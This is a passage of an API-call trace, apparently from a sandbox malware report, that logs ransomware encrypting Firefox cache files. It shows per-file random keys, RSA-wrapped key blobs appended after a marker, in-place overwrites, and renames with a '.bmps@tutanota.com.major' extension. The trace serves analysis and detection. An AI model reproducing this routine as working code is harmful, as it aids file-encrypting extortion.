hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.529] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.529] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.529] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.529] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ol1TWMomoXO+/+5mUUi8UmSWlCcjoCA1Lr453Pou7cpCTXPWUciKU3Cv2HH1iQRX\nWUnY3CeYvsEFwqv+bW2IMCzV+jGNeciT37ubERY+2FRX8+nYSt5gecHa8sFF+Q83\n+Mnc1vy1T05sxPvrX7/JqcAjPVmZPgp0JDVXXeCgqzbjWrj1LgOO9qaZPiKQAUiR\n9VmM9p9JxAZdSo+FFVthIySxfeAwoj3aiC1qLoqtk2A/cBBT9ntG/ejSWy4/3mkV\n9qpeyl3EqMwoKzfiJaIblsp2BS8mPGC4OYyKxTjSSIxUoeYEj99e1hOKpT+Mjsio\nf8qUSuAYFFCTQD01eWuDBQ==\n", pcchString=0x2e3f9a8) returned 1 [0286.529] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.529] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.529] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.529] CloseHandle (hObject=0x1b84) returned 1 [0286.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.530] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0286.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0286.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81cb0 | out: hHeap=0x570000) returned 1 [0286.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82f40 [0286.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0286.534] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.534] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", dwFileAttributes=0x80) returned 1 [0286.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82b20 [0286.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82b20 | out: hHeap=0x570000) returned 1 [0286.534] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.535] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1234) returned 1 [0286.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d2) returned 0x66e948 [0286.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d2) returned 0x2f3e850 [0286.535] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0286.607] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.607] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0286.607] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0286.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0286.608] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0286.608] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.608] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.608] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.608] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.608] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.608] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="c0u7kT6yF3i3uxWGmBsXQIeb58WjR7u69P5YhwsQFdDqSwaR/01fmMfg+KcapFml\nIIh5DdbiPsQcqLONZuorJN+2/YLZCuSK7WWVIfl9XFFaeROkeEVoZOrrvVVxQrCv\nez5ICTNWNa1TNw8CyqlI0Pqssa9/HMFses14IXjsyG5fiCuntR90XMcfJTOJ/6BH\nGotqpe/ztWd/JXJkZ0281PrKjwsz4DVxBApcfglP9896gy/Wwfn1J9FFplrkTadI\nJjZhEiDajJ0+zK6N6jNsvQGait6vfgvgeKJHiucWde8uqIbcYv1UXnw7gBtWgAxK\n6C01JBSdlBl2HqAnHatIkQ==\n", pcchString=0x2e3f9a8) returned 1 [0286.609] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.609] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.609] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.609] CloseHandle (hObject=0x1b84) returned 1 [0286.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.609] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0286.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82f40 | out: hHeap=0x570000) returned 1 [0286.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82d30 | out: hHeap=0x570000) returned 1 [0286.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82910 [0286.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0286.614] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.614] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", dwFileAttributes=0x80) returned 1 [0286.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0286.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.615] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0286.615] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.616] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=149255) returned 1 [0286.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x24707) returned 0x3540048 [0286.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x24707) returned 0x3564758 [0286.617] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0x24707, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0x24707, lpOverlapped=0x0) returned 1 [0286.787] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-149255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.787] WriteFile (in: hFile=0x1b84, lpBuffer=0x3564758*, nNumberOfBytesToWrite=0x24707, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3564758*, lpNumberOfBytesWritten=0x2e3f9b4*=0x24707, lpOverlapped=0x0) returned 1 [0286.788] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3540048 | out: hHeap=0x570000) returned 1 [0286.788] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3564758 | out: hHeap=0x570000) returned 1 [0286.788] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x24707 [0286.788] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.788] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.788] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.788] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.788] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.788] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ycJPbMUjHsTaimJNR9WuiJtNL9T/0X2ffqDtMVnwAmBwWKBEuWTwVSk3c+Pu6lj5\nbs7byQ6VEsGsmWV9hy8hx6L/RITn2wcMXpP7WeYJAYtOsHMP04AlfpKwGEwaB4qc\nT8Zx11BBoSXWj3QpmEty7/+p3A8GCFMy1/aLsxDgKmrl5E47heasxmp4cW/HgCGX\nTbPg2rVig8r0pYi9QRoPKnMddxj22koXk5VGe2bWD/Oc3LDw59TBD6/l7MdqJQte\nM2J+6QkagM5ztNsvcZNSiQA4fIkojLpYwY1ygksUEH9LXkarxTG2XuRn7PEymkWR\nWbwYxuDI5UvNDm5rnOYsFw==\n", pcchString=0x2e3f9a8) returned 1 [0286.788] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.788] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.788] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.789] CloseHandle (hObject=0x1b84) returned 1 [0286.789] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.789] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0286.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82910 | out: hHeap=0x570000) returned 1 [0286.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82e38 | out: hHeap=0x570000) returned 1 [0286.794] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0286.794] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0286.794] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.794] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", dwFileAttributes=0x80) returned 1 [0286.794] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82b20 [0286.794] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82b20 | out: hHeap=0x570000) returned 1 [0286.794] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.795] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14745) returned 1 [0286.795] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3999) returned 0x2f39028 [0286.795] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3999) returned 0x3437008 [0286.795] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x3999, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x3999, lpOverlapped=0x0) returned 1 [0286.979] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-14745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.979] WriteFile (in: hFile=0x1b84, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0x3999, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3999, lpOverlapped=0x0) returned 1 [0286.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0286.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0286.979] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3999 [0286.979] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.979] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.979] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.979] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.980] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.980] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zlYtk7c0rstHceljTYbLRGR5vox2gL/Yi/L/+dJQ9DeYpOOVJZUcdX6ovqrSU8Lm\n9Wt6p+QJJCoqzf8yb/DAbFedo2GnjaBNMKgYiW/lsSlZ/nswr4gpYsbN6XewaICo\nDKtsBIb1HQ3JCnF27eD6PVM6CbB/wCPfTOL8KsLSjfzCRUJtuA7eWKD3Mt3f8fNj\naTnVLoHDopkT0q0sinHJnuI2O1WrDOVyjTaPMgEYz+aaTCoNE3MIrp/iNF12iU2t\nqmAapGPwiSn/FtvPEnnsUmwRRDEd9uX1eRO5sZmMFbm0X8uUtPftPVjzdRxZBeNt\nHvu1C7N6NxkQ35NLiOjPLQ==\n", pcchString=0x2e3f9a8) returned 1 [0286.980] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.980] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.980] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.980] CloseHandle (hObject=0x1b84) returned 1 [0286.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.981] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0286.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0286.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f821d8 | out: hHeap=0x570000) returned 1 [0286.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f824f0 [0286.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0286.984] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.984] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", dwFileAttributes=0x80) returned 1 [0286.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82d30 [0286.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82d30 | out: hHeap=0x570000) returned 1 [0286.985] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.985] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1236) returned 1 [0286.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d4) returned 0x66e948 [0286.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d4) returned 0x2f3e850 [0286.986] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0287.096] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, 